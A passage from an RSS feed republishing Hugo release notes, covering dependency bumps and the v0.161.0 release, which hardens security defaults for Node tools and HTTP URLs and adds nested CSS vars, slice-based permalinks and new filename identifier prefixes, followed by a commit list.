<li>build(deps): bump github.com/getkin/kin-openapi from 0.133.0 to 0.134.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/c27d9e8fcfa5aad6cfedd0552add2a6c8ec74525/hovercard" href="https://github.com/gohugoio/hugo/commit/c27d9e8fcfa5aad6cfedd0552add2a6c8ec74525"><tt>c27d9e8</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/tools from 0.42.0 to 0.43.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/098eac59a9d4f4567acb16018453c0d389677690/hovercard" href="https://github.com/gohugoio/hugo/commit/098eac59a9d4f4567acb16018453c0d389677690"><tt>098eac5</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump gocloud.dev from 0.44.0 to 0.45.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/87f8de8c7ab10516614180080f97490645bbfdec/hovercard" href="https://github.com/gohugoio/hugo/commit/87f8de8c7ab10516614180080f97490645bbfdec"><tt>87f8de8</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/sync from 0.19.0 to 0.20.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/67ef6c68deb031f2dcff926b0cc236a07dcca334/hovercard" href="https://github.com/gohugoio/hugo/commit/67ef6c68deb031f2dcff926b0cc236a07dcca334"><tt>67ef6c6</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump golang.org/x/net from 0.50.0 to 0.51.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994036203" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14569" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14569/hovercard" href="https://github.com/gohugoio/hugo/pull/14569">#14569</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/b29c2f7adee341353bf9f39570482bfa32790f01/hovercard" href="https://github.com/gohugoio/hugo/commit/b29c2f7adee341353bf9f39570482bfa32790f01"><tt>b29c2f7</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/tdewolff/minify/v2 from 2.24.9 to 2.24.10 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4009999280" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14585" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14585/hovercard" href="https://github.com/gohugoio/hugo/pull/14585">#14585</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e91d191155ded8e950f4ae71a0529959c8e8e5f0/hovercard" href="https://github.com/gohugoio/hugo/commit/e91d191155ded8e950f4ae71a0529959c8e8e5f0"><tt>e91d191</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
<li>build(deps): bump github.com/bep/imagemeta from 0.15.0 to 0.17.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4009998803" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14584" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14584/hovercard" href="https://github.com/gohugoio/hugo/pull/14584">#14584</a>) <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a8a54bd0201a4d1b0ddf77cf50603367ac3e90ff/hovercard" href="https://github.com/gohugoio/hugo/commit/a8a54bd0201a4d1b0ddf77cf50603367ac3e90ff"><tt>a8a54bd</tt></a> <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot]</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.161.0]]></title>
<description><![CDATA[This release contains two security hardening fixes:

We now run the Node tools PostCSS, Babel and TailwindCSS, by default, with the --permission flag with the permissions defined in security.node.permissions. This means that you need Node >= 22 installed and that css.TailwindCSS now requires that...]]></description>
<link>https://tsecurity.de/de/3497328/downloads/v01610/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3497328/downloads/v01610/</guid>
<pubDate>Thu, 07 May 2026 22:31:47 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release contains two security hardening fixes:</p>
<ul>
<li>We now run the Node tools PostCSS, Babel and TailwindCSS, by default, with the <code>--permission</code> flag with the permissions defined in <a href="https://gohugo.io/configuration/security/" rel="nofollow">security.node.permissions</a>. This means that you need Node &gt;= 22 installed and that <code>css.TailwindCSS</code> now requires that the Tailwind CSS CLI must be installed as a Node.js package. The <a href="https://github.com/tailwindlabs/tailwindcss/releases/latest">standalone executable</a> is no longer supported</li>
<li>We have made the defaults in <a href="https://gohugo.io/configuration/security/#httpurls" rel="nofollow">security.http.urls</a> more restrictive.</li>
</ul>
<p>But there are some notable new features, as well:</p>
<h2>Nested vars support in css.Build and css.Sass</h2>
<p>A practical example in <code>css.Build</code> would be to have something like this in <code>hugo.toml</code>:</p>
<div class="highlight highlight-source-toml notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='[params.style]
    primary    = "#000000"
    background = "#ffffff"
    [params.style.dark]
        primary    = "#ffffff"
        background = "#000000"'><pre>[<span class="pl-en">params</span>.<span class="pl-en">style</span>]
    <span class="pl-smi">primary</span>    = <span class="pl-s"><span class="pl-pds">"</span>#000000<span class="pl-pds">"</span></span>
    <span class="pl-smi">background</span> = <span class="pl-s"><span class="pl-pds">"</span>#ffffff<span class="pl-pds">"</span></span>
    [<span class="pl-en">params</span>.<span class="pl-en">style</span>.<span class="pl-en">dark</span>]
        <span class="pl-smi">primary</span>    = <span class="pl-s"><span class="pl-pds">"</span>#ffffff<span class="pl-pds">"</span></span>
        <span class="pl-smi">background</span> = <span class="pl-s"><span class="pl-pds">"</span>#000000<span class="pl-pds">"</span></span></pre></div>
<p>And in the stylesheet:</p>
<div class="highlight highlight-source-css notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='@import "hugo:vars";
@import "hugo:vars/dark" (prefers-color-scheme: dark);

:root {
  color-scheme: light dark;
}'><pre><span class="pl-k">@import</span> <span class="pl-s">"hugo:vars"</span>;
<span class="pl-k">@import</span> <span class="pl-s">"hugo:vars/dark"</span> (<span class="pl-c1">prefers-color-scheme</span><span class="pl-kos">:</span> dark);

<span class="pl-kos">:</span><span class="pl-c1">root</span> {
  <span class="pl-c1">color-scheme</span><span class="pl-kos">:</span> light dark;
}</pre></div>
<h2>Slice-based permalinks config</h2>
<p>The <code>permalinks</code> configuration is now much more flexible (the old setup still works). It uses the same <a href="https://gohugo.io/configuration/cascade/#target" rel="nofollow">target</a> matchers as in the <code>cascade</code> config, meaning you can now do:</p>
<div class="highlight highlight-source-yaml notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='permalinks:
  - target:
      kind: page
      path: "/books/**"
    pattern: /books/:year/:slug/
  - target:
      kind: section
      path: "/{books,books/**}"
    pattern: /libros/:sections[1:]
  - target:
      kind: page
    pattern: /other/:slug/'><pre><span class="pl-ent">permalinks</span>:
  - <span class="pl-ent">target</span>:
      <span class="pl-ent">kind</span>: <span class="pl-s">page</span>
      <span class="pl-ent">path</span>: <span class="pl-s"><span class="pl-pds">"</span>/books/**<span class="pl-pds">"</span></span>
    <span class="pl-ent">pattern</span>: <span class="pl-s">/books/:year/:slug/</span>
  - <span class="pl-ent">target</span>:
      <span class="pl-ent">kind</span>: <span class="pl-s">section</span>
      <span class="pl-ent">path</span>: <span class="pl-s"><span class="pl-pds">"</span>/{books,books/**}<span class="pl-pds">"</span></span>
    <span class="pl-ent">pattern</span>: <span class="pl-s">/libros/:sections[1:]</span>
  - <span class="pl-ent">target</span>:
      <span class="pl-ent">kind</span>: <span class="pl-s">page</span>
    <span class="pl-ent">pattern</span>: <span class="pl-s">/other/:slug/</span></pre></div>
<p>The above example isn't great, but it at least shows the gist of it.</p>
<h2>A more flexible scheme for identifiers in filenames</h2>
<p>What we had before was e.g. <code>content/mypost.en.md</code> which told Hugo that the content files was in English. With the new setup you could also name the file <code>content/mypost._language_en_.md</code>. This alone doesn't sound very useful, but this allows you to use more prefixes:</p>
<table>
<thead>
<tr>
<th>Prefix</th>
<th>Description</th>
<th>Relevant for</th>
</tr>
</thead>
<tbody>
<tr>
<td>language_</td>
<td>Language</td>
<td>Content and layout files.</td>
</tr>
<tr>
<td>role_</td>
<td>Role</td>
<td>Content and layout files.</td>
</tr>
<tr>
<td>version_</td>
<td>Version</td>
<td>Content and layout files.</td>
</tr>
<tr>
<td>outputformat_</td>
<td>Output format</td>
<td>Layout files.</td>
</tr>
<tr>
<td>mediatype_</td>
<td>Media type</td>
<td>Layout files.</td>
</tr>
<tr>
<td>kind_</td>
<td>Page kind</td>
<td>Layout files.</td>
</tr>
<tr>
<td>layout_</td>
<td>Layout</td>
<td>Layout files.</td>
</tr>
</tbody>
</table>
<h2>All Changes</h2>
<ul>
<li>langs/i18n: Fix translation lookup when using language variants <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/72b85d5f9c2d40c06b81d496cd3ccf1f2105c383/hovercard" href="https://github.com/gohugoio/hugo/commit/72b85d5f9c2d40c06b81d496cd3ccf1f2105c383"><tt>72b85d5</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="749801844" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/7982" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/7982/hovercard" href="https://github.com/gohugoio/hugo/issues/7982">#7982</a></li>
<li>create: Fix non-deterministic conflict detection in hugo new content <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/6436deb3e19c279c23aa9caf67b65e44d863b872/hovercard" href="https://github.com/gohugoio/hugo/commit/6436deb3e19c279c23aa9caf67b65e44d863b872"><tt>6436deb</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2355355840" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/12602" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/12602/hovercard" href="https://github.com/gohugoio/hugo/issues/12602">#12602</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2474964574" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/12786" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/12786/hovercard" href="https://github.com/gohugoio/hugo/issues/12786">#12786</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3590327714" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14112" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14112/hovercard" href="https://github.com/gohugoio/hugo/issues/14112">#14112</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285678634" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14769" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14769/hovercard" href="https://github.com/gohugoio/hugo/issues/14769">#14769</a></li>
<li>commands: Fix environment isolation for configuration settings <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/1eea9fba0b7ff174d1e30b2307bef54842f422fc/hovercard" href="https://github.com/gohugoio/hugo/commit/1eea9fba0b7ff174d1e30b2307bef54842f422fc"><tt>1eea9fb</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279173224" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14763" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14763/hovercard" href="https://github.com/gohugoio/hugo/issues/14763">#14763</a></li>
<li>Fix filename dimension identifiers (<em>role_X</em>, <em>version_X</em>) to replace mount config <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/8d6145f3c31528ecafca4e5f301abd1c672468fd/hovercard" href="https://github.com/gohugoio/hugo/commit/8d6145f3c31528ecafca4e5f301abd1c672468fd"><tt>8d6145f</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269787383" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14756" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14756/hovercard" href="https://github.com/gohugoio/hugo/issues/14756">#14756</a></li>
<li>Fix it so we never auto-fallback to page resources in other roles/versions <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/974772422258f1e8aab1c7603fc09bbb1a2c2571/hovercard" href="https://github.com/gohugoio/hugo/commit/974772422258f1e8aab1c7603fc09bbb1a2c2571"><tt>9747724</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4249604309" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14749" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14749/hovercard" href="https://github.com/gohugoio/hugo/issues/14749">#14749</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261424338" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14752" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14752/hovercard" href="https://github.com/gohugoio/hugo/issues/14752">#14752</a></li>
<li>css: Support nested hugo:vars/ imports <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7622dd86ced9ac2ef3c15b5d0740bf9634bb60ac/hovercard" href="https://github.com/gohugoio/hugo/commit/7622dd86ced9ac2ef3c15b5d0740bf9634bb60ac"><tt>7622dd8</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195681064" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14705" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14705/hovercard" href="https://github.com/gohugoio/hugo/issues/14705">#14705</a></li>
<li>github: Update GitHub actions versions <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/0814059bb6374bbd5861ee8da96b4a67e22acfba/hovercard" href="https://github.com/gohugoio/hugo/commit/0814059bb6374bbd5861ee8da96b4a67e22acfba"><tt>0814059</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328513498" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14810" data-hovercard-type="pull_request" data-hovercard-url="/gohugoio/hugo/pull/14810/hovercard" href="https://github.com/gohugoio/hugo/pull/14810">#14810</a></li>
<li>hugolib: Do not render aliases if the page is not rendered <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/8920d56e951e872e1eabd08fc34f9c1350fe5da3/hovercard" href="https://github.com/gohugoio/hugo/commit/8920d56e951e872e1eabd08fc34f9c1350fe5da3"><tt>8920d56</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327344504" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14807" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14807/hovercard" href="https://github.com/gohugoio/hugo/issues/14807">#14807</a></li>
<li>langs/i18n: Improve default content language fallback <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/633cc772e0e8a79205b1b268bd9bfc2b0f5b1473/hovercard" href="https://github.com/gohugoio/hugo/commit/633cc772e0e8a79205b1b268bd9bfc2b0f5b1473"><tt>633cc77</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3702097895" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14243" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14243/hovercard" href="https://github.com/gohugoio/hugo/issues/14243">#14243</a></li>
<li>helpers: Remove unused code <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4c40c6d5ca94537a63f7449f269b9ebef84e9346/hovercard" href="https://github.com/gohugoio/hugo/commit/4c40c6d5ca94537a63f7449f269b9ebef84e9346"><tt>4c40c6d</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>common/constants: Remove unused consts <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/d2594db6705f6bcc9a2689704848cb7eb36fd10e/hovercard" href="https://github.com/gohugoio/hugo/commit/d2594db6705f6bcc9a2689704848cb7eb36fd10e"><tt>d2594db</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>common/paths: Remove unused code <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/ab2de51e072d179683ca307c12683d915e97f472/hovercard" href="https://github.com/gohugoio/hugo/commit/ab2de51e072d179683ca307c12683d915e97f472"><tt>ab2de51</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>tests: Update Ruby setup action to v1.305.0 <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/75f61832c29c20a02b87059feee471af86269eee/hovercard" href="https://github.com/gohugoio/hugo/commit/75f61832c29c20a02b87059feee471af86269eee"><tt>75f6183</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a></li>
<li>langs: Use Language.Locale as primary localization key <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/1b7495bc4902d9a00416e653c538466c668dec08/hovercard" href="https://github.com/gohugoio/hugo/commit/1b7495bc4902d9a00416e653c538466c668dec08"><tt>1b7495b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1040919399" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/9109" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/9109/hovercard" href="https://github.com/gohugoio/hugo/issues/9109">#9109</a></li>
<li>config/security: Add "! " negation to Whitelist, harden default http.urls <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/79f030be5bdb31e014c2996da7464898df750801/hovercard" href="https://github.com/gohugoio/hugo/commit/79f030be5bdb31e014c2996da7464898df750801"><tt>79f030b</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4309585332" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14792" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14792/hovercard" href="https://github.com/gohugoio/hugo/issues/14792">#14792</a></li>
<li>Harden Node tool execution with --permission flag <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/a54c398b93821865547a9e21c73aad8a1d7f7bc1/hovercard" href="https://github.com/gohugoio/hugo/commit/a54c398b93821865547a9e21c73aad8a1d7f7bc1"><tt>a54c398</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="620242189" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/7287" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/7287/hovercard" href="https://github.com/gohugoio/hugo/issues/7287">#7287</a></li>
<li>tpl/collections: Honor the Eqer interface in where comparisons <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/f5fce935e768f4c301fb5c825e512a17f8a13e2e/hovercard" href="https://github.com/gohugoio/hugo/commit/f5fce935e768f4c301fb5c825e512a17f8a13e2e"><tt>f5fce93</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294389067" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14777" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14777/hovercard" href="https://github.com/gohugoio/hugo/issues/14777">#14777</a></li>
<li>modules: Ignore non-require blocks in go.mod rewrite <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/4169c1f70fc24a9f18fedc9f77ec33c53856e23b/hovercard" href="https://github.com/gohugoio/hugo/commit/4169c1f70fc24a9f18fedc9f77ec33c53856e23b"><tt>4169c1f</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4296660225" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14783" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14783/hovercard" href="https://github.com/gohugoio/hugo/issues/14783">#14783</a></li>
<li>Replace the concurrent map with an identical upstream version <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/7574e35b403ac4100649520c8ff718cdc1be1e8a/hovercard" href="https://github.com/gohugoio/hugo/commit/7574e35b403ac4100649520c8ff718cdc1be1e8a"><tt>7574e35</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Add slice-based permalinks config with PageMatcher target <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/017a7cd63a2bd794430833cb46f9dbc367151cb5/hovercard" href="https://github.com/gohugoio/hugo/commit/017a7cd63a2bd794430833cb46f9dbc367151cb5"><tt>017a7cd</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4232446281" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14744" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14744/hovercard" href="https://github.com/gohugoio/hugo/issues/14744">#14744</a></li>
<li>commands: Add missing import <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/e3413d927f7e5287e5956bdb6fdb1c247d964cf4/hovercard" href="https://github.com/gohugoio/hugo/commit/e3413d927f7e5287e5956bdb6fdb1c247d964cf4"><tt>e3413d9</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>Revert "common/hugo: Deprecate extended and extended_withdeploy editions" <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/b01cc147032166896b393c552e561a3dbc6d359a/hovercard" href="https://github.com/gohugoio/hugo/commit/b01cc147032166896b393c552e561a3dbc6d359a"><tt>b01cc14</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a> <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288770106" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14771" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14771/hovercard" href="https://github.com/gohugoio/hugo/issues/14771">#14771</a></li>
<li>Adjust the SECURITY.md slightly <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/8ee19ff9a3471a7da9fdc07f5b5d8b48d839a2a6/hovercard" href="https://github.com/gohugoio/hugo/commit/8ee19ff9a3471a7da9fdc07f5b5d8b48d839a2a6"><tt>8ee19ff</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bep">@bep</a></li>
<li>resources/page: Add passing test for Issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3769855790" data-permission-text="Title is private" data-url="https://github.com/gohugoio/hugo/issues/14325" data-hovercard-type="issue" data-hovercard-url="/gohugoio/hugo/issues/14325/hovercard" href="https://github.com/gohugoio/hugo/issues/14325">#14325</a> <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/gohugoio/hugo/commit/0d58e4286f4e600a5da6dd24a6774e5536b3f1d3/hovercard" href="https://github.com/gohugoio/hugo/commit/0d58e4286f4e600a5da6dd24a6774e5536b3f1d3"><tt>0d58e42</tt></a> <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmooring/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmooring">@jmooring</a></li>
